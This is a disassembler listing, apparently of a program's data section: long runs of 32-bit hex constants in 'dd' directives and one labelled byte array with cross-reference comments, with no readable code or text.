dd 0B6107B98h, 680090E1h, 0FB3B8024h, 9CDC30h, 9B811152h
dd 0BE1DA2DBh, 47A0E400h, 0B057380h, 3E8A02F6h, 7BFA4809h
dd 0F9BE040h, 0EC7D52h, 56BC2A9Ah, 8415E0A6h, 327188A4h
dd 3611B600h, 0E6234AFBh, 0EF400022h, 0CF4641F2h, 3F48F580h
dd 4B0076B0h, 0B0D18FB4h, 373016Fh, 8E2CC377h, 5CF9D20Ch
dd 4D8440C8h, 27585D94h, 6AE600EBh, 1F56BDB3h, 0C3E500BAh
dd 9CE15BF8h, 39004DF5h, 193915Dh, 0CF3B05h, 0F41DCC76h
dd 2C8AB8DFh, 0EABD5A09h, 964081EEh, 3F08F020h, 3099A901h
dd 91F653C6h, 80FD2C11h, 0B2FB2780h, 60391Eh, 32E3D805h
dd 0DE54C5E8h, 5A308501h, 0DF0327B9h, 0C400A433h, 0DCE39810h
dd 2884F4A5h, 0A48EDFh, 38E0CB55h, 2CA719B7h, 0B250B002h
dd 40460FE9h, 5CFC4Ch, 0EBA5C2D4h, 0B93A4D96h, 607248h
dd 0EE989C69h, 91C96274h, 0E4387058h, 26007D42h, 0CEBDF1DAh
dd 4405AE2Ah, 3F8A28D7h, 0E81A2C83h, 80E5FEC5h, 1652E67Fh
dd 0DB7E0130h, 35A4FA75h, 8A20DA0Dh, 1FE7C84h, 0EE408096h
dd 0F0FA0AF2h, 5812B9D4h, 0B82C193Bh, 0D198C2Dh, 36FCAA91h
dd 8DC0B822h, 5392BCE8h, 73D6A30Ch, 1379F2h, 432ABC4h
dd 0F0C74448h, 46CF858h, 27E2605Dh, 0B04C640h, 2F21B04Bh
dd 55D80018h, 4CBBFB3Eh, 62B8E075h, 5611739h, 7C8DB66Ch
dd 45E28C04h, 1304B488h, 9E174ACh, 0B4222E80h, 1B20D7C1h
dd 0EE24623h, 1EF1A03Ah, 0B1B48CE0h, 2A0958E1h, 0A77B6E26h
dd 90102E80h, 0ADF4F41h, 0C568E127h, 1AF05E88h, 0BEE70286h
dd 2B9D78FDh, 9959704Ch, 0A97280B0h, 93DE625Ch, 74A30870h
dd 0BDE73200h, 1C5C7A28h, 0C480A7A1h, 0CCB12C3Fh, 0E6188BF0h
dd 65E8C5A3h, 39EF262Ah, 0C0251FB0h, 92638C9Ch, 8D071559h
dd 0C29F54EEh, 0FA8F8270h, 439B0057h, 4A75D558h, 3490337Ah
dd 80F26938h, 0EDC9FCEEh, 77553660h, 0DB1C0040h, 0E6427112h
dd 0AC0A7848h, 0E4C33094h, 0A20CA882h, 0C6806068h, 0D4AA00E6h
dd 0F07BCA83h, 8CA01851h, 800DB4Dh, 39662B6h, 7FD43E6h
dd 6DD126DCh, 0C6E08010h, 0F124DEF2h, 0AB414413h, 27083DE5h
dd 0F92EDB04h, 0A48B490Ch, 0BE445700h, 0F1C9FA02h, 27FC3000h
dd 0C8C03716h, 22E10053h, 0D3A38E88h, 0A900A885h, 626333FAh
dd 172A6ADCh, 491C518Bh, 0AC957258h, 0DC127493h, 0CA35AC20h
dd 0DBAF0023h, 0B3FFF190h, 5A01F7B5h, 0C7032DC3h, 0AC23F07Dh
dd 0ACDC54A5h, 1E61CC80h, 0D40E8733h, 0E5C34171h, 0A890678Eh
dd 0B0FC880h, 51F3CE8Ah, 0BB4EC88h, 0E4977B1Fh, 2474BE04h
dd 0AA875920h, 0FA031298h, 3353EBFEh, 0F942E03Ah, 4C713E7Bh
dd 605C39AEh, 0A9CB22Bh, 8AF8BC21h, 8C3851h, 85B8AAC7h
dd 0E03B343Fh, 0F3E406DEh, 58416E89h, 4C81388Ch, 0E815218Eh
dd 0A205717Ah, 54B09CA5h, 637DE6C0h, 53813A5Eh, 43748900h
dd 6B6EBBD3h, 0EFA26101h, 42DDFC4Ch, 72080C4h, 0D7A7521Ch
dd 43CA922Ch, 0FCAE807Dh, 3A6C9C9Ah, 0BF1859ADh, 7F7D30EAh
dd 81983D00h, 0BE69170Fh, 219100E6h, 0ECC6B0F3h, 9E7FB77Eh
dd 15994A03h, 0CC6A8Ah, 0D6883F58h, 73CF3017h, 0A3401451h
dd 0F40421h, 0C9D802E4h, 1849B714h, 9A033577h, 0F4907892h
dd 0F5639819h, 84CE00C1h, 4D1F2524h, 0B78DF35h, 666A9703h
dd 46199C89h, 0AB8A3418h, 0D30F5C4Ch, 0E0E7B58Dh, 21E5A862h
dd 0F62200ECh, 0C42EA4B4h, 0A70605FDh, 96D1AB09h, 846E7619h
dd 2374B111h, 84C67A10h, 0D22018D1h, 5288FA26h, 0ABE1FCAh
dd 146604B1h, 3E3845F6h, 3DFD181Fh, 39ACBE36h, 0F5279802h
dd 8404FE18h, 184DF028h, 30A0E275h, 1D84CFF1h, 31FC9F4Eh
dd 417F5D30h, 42CFB60Ch, 18A10E54h, 5BE4061Ah, 0EB731424h
dd 0F75E8390h, 0F41914FBh, 42144826h, 8D081839h, 16842C50h
dd 0D45EFAEBh, 322A24E3h, 0C00D5330h, 3068460Ch, 0A8A6BAF1h
dd 48F0EA33h, 827DE0BEh, 0F14124h, 0B105FB93h, 5C51ADF8h
dd 40C2DD0Ch, 0A117AB90h, 909B1B09h, 9600214Fh, 2AF00D2Eh
dd 98BD267Dh, 540A0102h, 0D9183C1Dh, 0B380DFA3h, 0AFF2F564h
dd 6F73AD00h, 0CD5A38B8h, 0C32C02CEh, 264C88A5h, 1C549880h
dd 0B0A2C518h, 4DB7E175h, 0CAA21880h, 23374285h, 572AA500h
dd 432D501Eh, 0C76D308Ch, 586334A0h, 4B06EA1Fh, 607F7120h
dd 2233898Ah, 8E002E46h, 0E25F3DBDh, 48BEB829h, 2D2C989Bh
dd 45CB0ADDh, 0FEE6541Ch, 0E80937E2h, 2087945Ah, 0A606B768h
dd 98E40285h, 342F4028h, 0E5A9480h, 16F2FD4Ch, 0F9A6B200h
dd 0A875A3E8h, 0D6DE03D5h, 3BA2954Dh, 36CB44C0h, 32FA35F8h
dd 2B6D5C00h, 0E93051BFh, 0CA8900A4h, 8CE77C7Fh, 7B15D5C9h
dd 3914D6B5h, 80AFBC3Fh, 0E0E24C9Dh, 7D3A1DCh, 0B66D9EF6h
dd 6F9540E8h, 560076FBh, 6ACBB332h, 0EDF7Dh, 0A00DC97Ch
dd 0AD529DDh, 20F78E00h, 99417E1h, 71DB0034h, 50F992A3h
dd 0D118EFC3h, 0FDB884B2h, 0DCCBF645h, 372BC098h, 745E3DC2h
dd 0DB163Ch, 8E571F36h, 77D27Dh, 0D448923Eh, 0F6214E9Ch
dd 680680CAh, 0BFF50B80h, 0A5C15B08h, 0A4020040h, 767C8EF6h
dd 43903800h, 0E0D64587h, 2AE32E72h, 61E3CFAh, 804A9E80h
dd 3D7BA41Ch, 0AAF0C7BEh, 7C9F4C00h, 7A9944A5h, 465E004Dh
dd 5C9549AFh, 272842ECh, 0A61B9EE9h, 0E0E04337h, 0EC977582h
dd 71723F78h, 12543160h, 82F4A2A1h, 0C47618C4h, 78D9CC00h
dd 69038A4Eh, 0BA609D7Ah, 0A9301E4Ch, 584AB23h, 0C00E7933h
dd 7BB75B5Bh, 0FC274D00h, 8DBCF801h, 413F181Ah, 56A5A89Bh
dd 85830400h, 93A03CD3h, 403100B9h, 7ABF2A82h, 5E1F90D0h
dd 54663F91h, 69C1861Ch, 3338B1A5h, 8553189Eh, 0B4557Ah
dd 0EE654B88h, 0D3E6761Bh, 5493A40Ch, 0FEECF119h, 0E940C085h
dd 6169F39h, 4ADAEE02h
dd 0F7709C2Eh, 44FAE160h, 3435B000h, 0B665F7B3h, 97BC002Ch
dd 4BE2C886h, 273BA58Bh, 0B1490CE3h, 3DCB38ADh, 8103ABDBh
dd 1FD233CAh, 0DC916AF8h, 4B66900h, 7C7D8BACh, 6773313Dh
dd 707147A0h, 264A4EDFh, 12005CA8h, 0C93F9269h, 0D00D48Eh
dd 0A2C4801Ch, 1A5CCD3h, 0A4CF96E8h, 0BD3B069Bh, 0E87CB1D0h
dd 108FFF2Ah, 8E8C9954h, 500F6DB0h, 0B577E9A5h, 10BE8730h
dd 0D1700B54h, 9A0AC67Bh, 9CF6D928h, 8A5B5C00h, 0E499558h
dd 27BA0490h, 0A6D39D20h, 0A9026BA5h, 0C8C30641h, 0D7144325h
dd 0DAC60068h, 393F34FAh, 0E40438F4h, 0E68FB9EFh, 60DC88h
dd 827F5E27h, 9396AA43h, 94666B02h, 805B564Bh, 8A72CA94h
dd 504F61AEh, 0DC527A35h, 600269D6h, 4724D1ACh, 381066D8h
dd 97FA0CFh, 448A7B72h, 0C31D3482h, 79BE3960h, 466E4D07h
dd 97F0A795h, 0B8312Ah, 375E4294h, 0CA4D7C81h, 0F334AF18h
dd 0EE3D89E0h, 27F9C483h, 0C25081D6h, 60B445F2h, 8154FC50h
dd 0A1AEED0Ah, 25804870h, 0E87D728h, 0B4DD006Ch, 0AED6BE4Ch
dd 86074BF8h, 0B36DF314h, 9B09280h, 6CE9006Ah, 8C19445Bh
dd 4300DE61h, 66160C07h, 0C1C8ABC2h, 19B49F28h, 544BE413h
dd 5528D000h, 0B9D59D47h, 655C064Eh, 3140CAC6h, 43774800h
dd 9A6CB093h, 0F3A1007Ch, 4FC3D23Bh, 0BE2C2CE5h, 7200BA8Ah
dd 0F7AAC8AEh, 0E45F0088h, 4994AF9Dh, 9E008A26h, 33E3BFB5h
dd 0DABC515h, 0A6FEF20Bh, 21F1D020h, 434C3Dh, 8767C33Bh
dd 18C0401Eh, 0B8614414h, 90337A0Bh, 0E82530A2h, 1DD343Bh
dd 12CF1388h, 800BBCE0h, 79DAA758h, 6749E5CEh, 601F5453h
dd 9192846Ch, 0D6A63Ah, 0A9669DF8h, 0C3AFC29h, 34F1B01Dh
dd 0C43C1099h, 5D1A8C0Ah, 8EC10BBh, 5EA1BC43h, 8070EAC6h
dd 48FEF08h, 0C16F8638h, 0DEE4C061h, 0E51D8BA2h, 5B002E64h
dd 69B059ACh, 7A580382h, 80718EAAh, 0ADE3BD90h, 27CA4100h
dd 0DE9B7D3Fh, 6FB202B3h, 0D6C06AA5h, 0FC8ECA5h, 0B629D904h
dd 0A60DFF83h, 161A1800h, 0BB3B2D78h, 0F43A0A29h, 0FE4D836h
dd 8D00DF10h, 0B05B64CBh, 0BC6C801Ch, 70B74Fh, 38480C79h
dd 3BF00754h, 40E79912h, 3241620Dh, 861C4D70h, 5F81AEE1h
dd 0A0ADB2D2h, 33102026h, 0C01C04D9h, 4902E55h, 550ED261h
dd 0CEC89806h, 8FE2244Fh, 0DE290E27h, 0A35DC5h, 27E8E3E4h
dd 58C08305h, 0ED4C5277h, 0CF810CABh, 69502D3Bh, 0A42C5501h
dd 8C4FF8A7h, 3CDB95E0h, 7300B690h, 0B3BF6E93h, 1E031179h
dd 0A3524A4Eh, 0B6610161h, 0B06512ACh, 0E448530Ah, 53909A80h
dd 99179402h, 728D4h, 0B9F6D8E7h, 20C6B00Ah, 0E000E17Fh
dd 0D6CBC85Ch, 0AA2602E5h, 25AC13Fh, 5C8A088h, 5E9C4B20h
dd 0D70443D0h, 0D6B8396Fh, 0F50049D3h, 70975765h, 7DDC7AEAh
dd 4FE400AFh, 0C276107Dh, 8000C77Eh, 0D75ACB62h, 1EF7F0F3h
dd 3DCC4DC9h, 41A6B780h, 0F2AABB35h, 7081BE0Eh, 5AF2Ah
dd 6E98A248h, 844490C7h, 83260724h, 0CAAD65E0h, 0AC0A801Ch
dd 6108A8B6h, 68C23CA6h, 2734CEAEh, 6BD640D9h, 9126C51h
dd 6C102328h, 0E898C530h, 0B54B1830h, 57A8F009h, 8E143060h
dd 2200648Dh, 6B1AD890h, 1728A68Bh, 3600909Bh, 0C9C5377Bh
dd 6EE58DDh, 0A49A56E9h, 0FA3D3161h, 97A21D09h, 81E15B9Eh
dd 0E6908C99h, 5A18CECDh, 7870AD6h, 0E2309AF7h, 3A38A416h
dd 606802CBh, 0D97088D6h, 8C8A7FE1h, 706BAD40h, 0A69A7DF0h
dd 0FDB8143Ch, 8F9D2457h, 97E0E783h, 0F6606DF1h, 760540A5h
dd 5820CF6Bh, 0A785DB7Ah, 82683788h, 0C320580Fh, 77DAD896h
dd 3F7F063h, 65A8904Dh, 40008AEBh, 37A5463Dh, 1407849Ch
dd 446C6F57h, 0CEA6BEE0h, 0BA59008Bh, 77CA3F3Dh, 0A37479BCh
dd 0A489A57h, 1CCF0EA8h, 0D4FD1A40h, 85F72FA5h, 8D142D56h
dd 9832A238h, 0CEFA1Ch, 1097A8BDh, 6AB66C2Bh, 6F323Fh
dd 57A6809Ch, 0A3A2AFh, 7858F97h, 0A4DDB4B7h, 0E63C98F0h
dd 0CCEE29C9h, 341A3067h, 0C05E5A67h, 0A80B3707h, 887753A1h
dd 30134E85h, 0D39F3A1Ch, 0E2B7A53Fh, 82D21698h, 82C9D7D4h
dd 43501790h, 856AA24Ch, 983876B4h, 0CDE42318h, 0BC1D9A00h
dd 50977A8h, 9EC5C6D6h, 0F1B8027Fh, 9A42A1AAh, 90F78003h
dd 0C737601Eh, 8805C3C6h, 0C4D724F8h, 6C4C2930h, 10475EC8h
dd 0B0747A14h, 4D357612h, 0E869FB10h, 7CF0A4DEh, 0A8B6C0CAh
dd 7C82C50h, 223266FEh, 591F83C2h, 51531BD8h, 84997E1Ch
dd 4445A7CAh, 0BA9014C7h, 450F61Eh, 0BED3797Eh, 0E708B0Ah
dd 20812AA0h, 0BFD99473h, 0A05F6268h, 0B482F01Eh, 189090A3h
dd 0E31F78B1h, 7C49FD0Ah, 0A41F009Eh, 5704EC17h, 230618A5h
dd 894BE5ACh, 0E2C61902h, 389A85AAh, 781F308Fh, 0D901F89Fh
dd 0A3C7EEDFh, 0CD2145Ch, 0FFAD5043h, 64133E80h, 342CA6CCh
dd 4073248Eh, 1FD83063h, 0A6088803h, 7287AE97h, 0E0525A60h
dd 79AC5154h, 14AE912Bh, 0D25AF682h, 0D9AC904Dh, 96601C5Dh
dd 18AB55E6h, 7D13C4C1h, 0C289AC9Ah, 77A50701h, 6C30645Dh
dd 0A4E53CA1h, 13B4FF0Ah, 5681EE20h, 815831h, 0A1849Fh
dd 2519B7A4h, 0BB1437A0h, 45ECE1E9h, 0BAC2CF0h, 0FFE3E43Bh
dd 0FF02D9FAh, 5BF916Bh, 17A0E01Ch, 299D7C8Bh, 8E3CA765h
dd 89ACA90Fh, 2E02DFB9h, 6D57ABE0h, 1C86768h, 4FD13BAEh
dd 3FE04088h, 0A64CF614h, 0D5EAB010h, 87FE32F8h, 48451F28h
dd 0AE8EF601h, 33077FB6h, 480AFD95h, 0F4A7C760h, 5AFBF85Bh
dd 5F79C255h, 0DC9C908Bh, 73E6AA00h, 7E5659EBh, 0FB815D9h
dd 6DC150A8h, 513321F4h, 4FD9B9F0h, 60C7AECh, 505AFA9Ch
dd 0A4B90219h, 241F45A8h, 0AC07C067h, 5CB2BF30h, 5EBC6087h
dd 17A80BE3h, 14047AAFh, 0F748C322h, 1818B8A3h, 1410BF8Ch
dd 78CB4C1Ah, 3712203Ah, 0E641F0Ah, 17465D07h, 0D71F4878h
dd 33A841Ah, 65A91F6Dh, 4508037Ch, 766EEF19h, 0F0AACFA9h
dd 0A8A083BBh, 0A5007B32h, 0DA2C2857h, 7CA418E5h, 0D6642608h
dd 0D7AF0E00h, 30959099h, 44C07F8h, 742A3898h, 510080F0h
dd 0F31EF7BAh, 42817A5h, 9BB7AD7Ch, 83688186h, 0CA893B2h
dd 41F6AC44h, 729A10C0h, 0C20EEACDh, 0B6309718h, 0B3B76440h
dd 53017E8h, 586F08B8h, 27C512CCh, 0B0B00353h, 89F9C7E0h
dd 90E3D3EBh, 9B850807h, 2643DA28h, 58E5E0DFh, 7CCE749Dh
dd 5CF18F4h, 23C5208Dh, 0FA8663Ch, 87D9600Fh, 0A5819441h
dd 0C5E073C6h, 677840h, 0A9218525h, 0C8CFBF05h, 807CFDF0h
dd 9B0AE51Dh, 0F78E8F3Fh, 0FE6E84AAh, 157828C1h, 0AB619440h
dd 0CA570FA4h, 8C80A7C1h, 0E0370869h, 71F92090h, 64309056h
dd 0CABF770Ah, 0CB2838F4h, 4D6200ACh, 0F9843BD5h, 0B403E5BBh
dd 0F58FCFD3h, 0D8ACC026h, 0DA90034h, 47E5C50h, 44E8A0AEh
dd 0D3512C00h, 0DE62D27Bh, 34F0BBh, 29551BD8h, 2FB2DBDAh
dd 0D79BDF00h, 0EE047444h, 0E4E847h, 0FBD49214h, 7BA8A786h
dd 31118A60h, 0F8475BEh, 0BBAAD31Ah, 4BA03445h, 0D5807C48h
dd 0A9352FEBh, 89BBED35h, 8073280Eh, 4790B14h, 7F1D0A61h
dd 6020D5A4h, 0E8C56798h, 2CEC694Ah, 7D960173h, 7853E304h
dd 2E3858C4h, 345C908h, 0D42D0031h, 0B5247E5Dh, 5BD35000h
dd 0C47714A6h, 0A51B0091h, 0A4C82865h, 273E7385h, 0C5F0076h
dd 3E6345B3h, 0CB7B00D8h, 0D5E47719h, 24077929h, 0A5B30D2Dh
dd 4BE1C0DDh, 87081EFFh
dd 15E40078h, 27C47A23h, 0D3107563h, 0C3A81FC1h, 3FA40C1Eh
dd 6F3E24F0h, 0A90774DDh, 0FFC47EA3h, 0C437DE7h, 0A71007A1h
dd 5BD5E6h, 2F1BD7CFh, 3BDA0703h, 0C0DD89D2h, 0FD9DEDFh
dd 0D836A9BBh, 3AE4CE8Ah, 897F918h, 0BD3F51C0h, 0BE2D83C5h
dd 0A12C8B45h, 10873A65h, 0C11644E5h, 80289225h, 79103D18h
dd 92AD6E4h, 402C05A1h, 0BC6E1400h, 6348DBD9h, 9E9B001Ch
dd 195BDA20h, 7BB40C06h, 9120C598h, 60F8C074h, 169CEB50h
dd 847A0C0Fh, 0E47E43B6h, 3BA8D04Ah, 0E89162CFh, 2C40D14Ch
dd 905E45h, 900FD528h, 28B7B424h, 0C305540Eh, 18470CDBh
dd 0F0B8D678h, 0D80FDEA1h, 1DEF7DFBh, 10DFE20Ch, 0D24A07D6h
dd 41459A96h, 0E0910256h, 0AC7EE2B6h, 1D5E7B3Ah, 67921BD4h
dd 30B5880Ch, 9C8F37B6h, 73892088h, 0D0E75764h, 75FCF5A4h
dd 30D62424h, 366492E0h, 0B0BC4876h, 0CC478D14h, 3A899B0Ch
dd 293CF1F8h, 2F4100B4h, 0EB063BD9h, 0EEC56EB2h, 0D8143649h
dd 8510E271h, 6D0A8765h, 1A4C458h, 1BD02845h, 5052C30Eh
dd 0EA67808Ch, 3E030A0Ch, 2D8BA8F4h, 6E04AB1Ah, 0C000846Fh
dd 4DE4708Bh, 0D6D24906h, 1F084B9Ah, 76E0F5h, 0A5B2FF63h
dd 700A2902h, 846DC144h, 73A9A400h, 0F1806084h, 0CA7CB0D3h
dd 0D447C5h, 0C864754Fh, 9A8F5C4h, 743BAD80h, 0D47B5780h
dd 0D35C0DDBh, 71990156h, 7C19C473h, 0E4455C20h, 827B12ABh
dd 855002F8h, 70BBD849h, 0B55427C0h, 3064BD4Dh, 0C50460B6h
dd 0D5E8C015h, 3EBBD721h, 0AE3A98A8h, 8E31C490h, 535C2838h
dd 0EFA4D0h, 1065B30Fh, 0C7C475D2h, 0E7F47650h, 1B125C90h
dd 24051EB7h, 0D80ACA1Ch, 8492A42Ch, 457C49h, 1DF20594h
dd 71040170h, 59C47486h, 8C64E0CEh, 41508F62h, 0A3306054h
dd 1BA9243Dh, 4925501Ch, 2929C14h, 0B8C013D8h, 3724B000h
dd 28BBD835h, 39CABD9h, 847657F6h, 4A05188h, 10C555CFh
dd 0A40C8602h, 26DBB0B5h, 9D806C3h, 940022F5h, 0E4719199h
dd 75B3BD03h, 3D7CB704h, 98CC4B98h, 4835E214h, 0C8616C80h
dd 0B0A085EDh, 0CC90AE4Dh, 5C33E429h, 3F203187h, 60378852h
dd 0C0220AA8h, 0D4671398h, 8498319Bh, 50208422h, 45B8FCh
dd 1BDED3CEh, 7BD78810h, 0AB139975h, 5E01DB5Bh, 0A875069Bh
dd 2EDC9449h, 9CEB00C3h, 98968EADh, 0D1762702h, 0D9C12B00h
dd 0C8CE6DA6h, 505E266h, 27AD06C6h, 321C40DAh, 1F8BE1Ah
dd 0C25B4082h, 0A24600D9h, 0AA670DF5h, 0C71E020Eh, 9E392247h
dd 803BD0E6h, 0E70F63F1h, 0E8058267h, 1B53BEBh, 0EE80BEBFh
dd 0DA099580h, 473E6C26h, 0E548030Ch, 0AF9C60CFh, 0FFE4478Fh
dd 0EC3A020h, 0B3E007E3h, 6340E194h, 0A9C1CFFDh, 5C20D0F2h
dd 60E2260Eh, 0A81838F0h, 3EE17C98h, 1E782BE9h, 8E30B7Bh
dd 0AB0C9402h, 38295892h, 5218E288h, 26590827h, 0B57A80h
dd 0FBFC80CFh, 72EE66DAh, 9306F07Eh, 0CEA0EF13h, 7CE060h
dd 16C0E22Ah, 0E080E491h, 0F8201462h, 0F820199h, 0BA67F0E3h
dd 0B600E27Ch, 56A70564h, 0E070426h, 60D269FBh, 0E701DEE3h
dd 0F00E18F9h, 0B6A04D66h, 40024B4h, 0DAA0CC7h, 0D825C4A7h
dd 7D2050A9h, 0EED86E60h, 3C5E961h, 85E81972h, 0E5C06799h
dd 0A5F85F6Ah, 0D0BD7E00h, 43AAD40h, 0C147127h, 8777E5E8h
dd 0CC74CD70h, 0F5C0CC0h, 394816C7h, 933EA701h, 0B181270Ah
dd 74FA01ECh, 0BC0B070Fh, 942A1D18h, 1B6FE700h, 37B8709h
dd 4C70A5Dh, 6BC10F5Fh, 2F07F020h, 471D687Ch, 3C6964h
dd 0C0E312A8h, 28C5EB18h, 0E0AC9126h, 0B0A0A85Eh, 6F40C778h
dd 27674072h, 0E70E0429h, 3D1310Ah, 84CFB443h, 0A802548Ah
db 1Dh
byte_520045 db 0B1h, 3Bh, 0FFh ; DATA XREF: ___:0042CC88o
; ___:0042CCA0o
dd 6AC0CE07h, 2AFC60EEh, 14C7ECh, 4198956Ch, 0AED6FA5Eh
dd 0FA53E124h, 6F19DF13h, 6C200AA8h, 84B6518Eh, 0E4058D04h
dd 0C009EDD7h, 0A69400DCh, 0F8D0C1F9h, 18396E42h, 0A7093DC0h
dd 98A0A891h, 50A4284Eh, 0FB1DD900h, 0D614C146h, 0A0C7480Eh
dd 0A3BE712h, 0C018C040h, 7B08ACA9h, 0EEA85361h, 88426651h
dd 20504045h, 1829525Ah, 0EE394F04h, 4EF090A2h, 501333Ah
dd 306F087h, 0A7CFDD07h, 47308E1h, 0C66C44F0h, 8806B50h
dd 305F800h, 0D0814E7h, 94404907h, 84FA4874h, 2D1EB01h
dd 0F08F9167h, 950323C0h, 0F92B80EDh, 45A7C1E1h, 487260F0h
dd 1924D4B0h, 0DE103AD0h, 2C1024CBh, 8F9670Ch, 90ACF6C7h
dd 802A48C8h, 0C468270Ah, 0F5FD0C8Bh, 23627D88h, 0E5F91A8h
dd 0C0CFD740h, 0EC90D060h, 8BAAE33h, 48607026h, 51880C6h
dd 73A50807h, 65133078h, 380980B8h, 0DD242352h, 820121Ah
dd 84640590h, 0A4D809BDh, 72078401h, 86C7E0A6h, 6748C890h
dd 0E1DCA320h, 0E4579A6Dh, 607399B2h, 90313474h, 88B43288h
dd 0E8B84D98h, 26185449h, 8E386C7Bh, 260090A0h, 918E207h
dd 44017360h, 0A3525A26h, 23032048h, 1411B77Bh, 8A4C6E79h
dd 0C87A73Dh, 39C7E6DFh, 0C058E488h, 90E358CBh, 0CE247892h
dd 27090817h, 266404D9h, 5301248Ah, 0CD56BFBCh, 189020FDh
dd 8D6730C0h, 0ACE6CA76h, 705C064Ch, 60452F27h, 6AE90E14h
dd 0C25F14D8h, 14A38ACh, 175906C1h, 7422C6C3h, 0E6F8E987h
dd 0EE28D947h, 748A89Bh, 0F42AA0F0h, 297061A5h, 402B6B4Eh
dd 0CFEE7ED0h, 23B3A012h, 1BDDA438h, 0A1669F4Bh, 48C274DAh
dd 0E03EEC16h, 0D09F1823h, 78F58EF8h, 28C75681h, 34A1100h
dd 0D2427E09h, 7F3C6B0Ah, 65E1140Fh, 8C48DC92h, 7EE204CEh
dd 8418470Fh, 641877B0h, 0BA63828Dh, 45BBBCA1h, 73D04BC5h
dd 90014609h, 9424A8BFh, 30794350h, 0EE2151FAh, 40B050C1h
dd 2E245853h, 3418CD3Eh, 920C4EF1h, 0E2B03020h, 0ED8F0508h
dd 5160A099h, 6FE59103h, 0A06838B9h, 9FAE4600h, 0FD79C6D9h
dd 48A306E0h, 637270C5h, 21BF865h, 19EA40E8h, 0C8242C98h
dd 8518140Bh, 7990A708h, 77270AFAh, 0E03CCFF9h, 93116CB7h
dd 0D224BB04h, 606858Bh, 67186889h, 0D610443Dh, 0A0D012A4h
dd 0E0FC002Dh, 0E7095015h, 0EF6334Ch, 62CA75C0h, 601B3846h
dd 0E84FB04Ch, 3A4A580h, 65C7E1F8h, 616B7130h, 52325A66h
dd 0C5DEA8EDh, 44BE6C4Ch, 838CCEE0h, 0D5E94698h, 0C07C22C7h
dd 61F17756h, 1224906Bh, 387B85ABh, 0CD14657Ch, 8FF8810Dh
dd 0C6DAC264h, 10808AA1h, 2287DC58h, 0EE1B1756h, 8728BAA8h
dd 0B86C3B0h, 0C6C50B40h, 88137AEh, 220F3484h, 0BDE3C188h
dd 8050663Ah, 11A834Bh, 0CE9DE0E4h, 60B886C8h, 1E04C778h
dd 0C260D138h, 2202348Fh, 0B7B5CA94h, 84456B0Fh, 808B408Ch
dd 0C5BDF05h, 0C0F04B9Dh, 0A416F489h, 0D6BAD10Ch, 146B2998h
dd 0E0CFF8AFh, 0A0A2A1B7h, 0CB298B39h, 50DC888Bh, 0A923B2E3h
dd 85D207DBh, 0F884E4C4h, 0BC33B0CBh, 51051290h, 0E55BBA0Bh
dd 0E0C16470h, 0A27DF257h, 479B63ECh, 65045028h, 0D1126D0Bh
dd 61864B24h, 6041C19Ch, 220280BCh, 0CEA0E30Dh, 215041FEh
dd 5C465D20h, 705E48Bh, 0CB0E5538h, 0DC453834h, 0A8E1305Ch
dd 0EDD5E62Bh, 5A9685Ch, 769A4B81h, 9FB80DE6h, 203FED81h
dd 0F150410h, 803046DAh, 1566B5A4h, 6B98A008h, 72DCB8ACh
dd 5802B20h, 9C3F9D48h, 300AD85Eh, 6E24F9CBh, 0E658F0E5h
dd 0BB8110D7h, 75AB0A4Fh, 7F709C61h, 0F45E3A21h, 486DC4D4h
dd 5C054C91h, 60270F61h, 72D7BB74h, 0E4DC8D55h, 0E0E92E7h
dd 5431EDA7h, 11B4B08Ch, 3BFC2415h, 6853BA7Ch, 0DBF29E06h
dd 2B1221FBh, 180E9DEDh, 80EC017Ah, 0EC70AA1Eh, 914B78A5h
dd 0E6D26038h, 514923D3h, 0D9781774h, 272E838h, 0A87C578Ch
dd 9A84D128h, 0FB58C327h, 438CC5A5h, 0CD1C06ECh, 3F14C6A0h
dd 0F66F18C5h, 15A6F081h, 78796870h, 0A44AF9F4h, 4688FB3Ch
dd 0CB053C72h, 0A08125D5h, 0F0211455h, 3E0B49D8h, 0B4585847h
dd 236ED16h, 24C3A88h, 1D04B496h, 39AABE83h, 2C4AB00h
dd 6C3A20EEh, 0B394487Fh, 66C6E124h, 240B0C24h, 0B707392h
dd 8886BEF6h, 9499C054h, 678CF960h, 80AB9093h, 5C424CE8h
dd 38B07CC5h, 2829CC9Fh, 61E0E451h, 441279ECh, 8324983Ch
dd 0E35878C5h, 0C60214E7h, 8E09C4AAh, 0C80421A7h, 0D280B050h
dd 0C40708C1h, 745CD0ADh, 71FF18C0h, 996E411Bh, 0F001DE2Eh
dd 0F5D9605Ah, 0CE29C09Eh, 0C70438BEh, 0C7DD62Ch, 0DA37102h
dd 0EE0E61A7h, 0B8CC7472h, 41CF40AAh, 3838DAAEh, 90206F34h
dd 28A9657Fh, 8BD0120Eh, 55DA0694h, 0A5183BFh, 91F8AEEh
dd 0FB258FCh, 3CD65C18h, 2BB94E28h, 9D3C0C43h, 6A760455h
dd 9AC21E3Dh, 14670986h, 0FE016504h, 8E05A763h, 879CC0B3h
dd 0D71198E2h, 0C4DD3B4Dh, 0C8DC56A9h, 19501748h, 6978FCCCh
dd 5D8394A5h, 0CC6A5A03h, 0ED1648D1h, 67B02838h, 302C6EBBh
dd 0CC940C09h, 8A200094h, 63870A65h, 1647E862h, 2CC1010Ch
dd 426C6EF0h, 10B9982h, 0A70A807Ch, 5CEB40C4h, 0FA113C38h
dd 1779634Ah, 2C0A7B41h, 0E2295A08h, 4E02F41Dh, 65042409h
dd 0FB8782BCh, 0A4AF82D8h, 0EC37CB62h, 0A593CB8h, 8B88E676h
dd 0D13A1076h, 0B759A180h, 0B07550D0h, 0B86B7918h, 6FD099A8h
dd 0B1B53F63h, 0BAB0408Dh, 51070BFCh, 0A0EF4702h, 0B8E2D553h
dd 2AE14644h, 1498C916h, 0FC0FACABh, 5412F12h, 0CE31E5B0h
dd 570C75BCh, 9877F51Bh, 3E4D2C0Bh, 5990738Ch, 0E241923Ch
dd 0E029A3E7h, 487F8EE0h, 0D4B06C05h, 7C3F171Dh, 62509D1Bh
dd 0C73F3C40h, 7756CABBh, 49261EC9h, 48E30233h, 240CF1Dh
dd 0FB00F382h, 0B5A5A965h, 0F8C74Bh, 53092AC3h, 0E0E92903h
dd 942C5A3Ah, 9024C802h, 9BDE0C96h, 227062h, 29218795h
dd 844BEE3h, 680880FDh, 0B04584A3h, 586A1F1Eh, 0EB15D11h
dd 7D0088F1h, 80966451h, 79C4CE00h, 0F470E35Fh, 175A0047h
dd 332F7786h, 52028325h, 0D16385E4h, 6F1C9843h, 0A73100E8h
dd 3A47F3D9h, 0AD808B38h, 0B7AC149Dh, 0A5C01844h, 0A17F2A6Ch
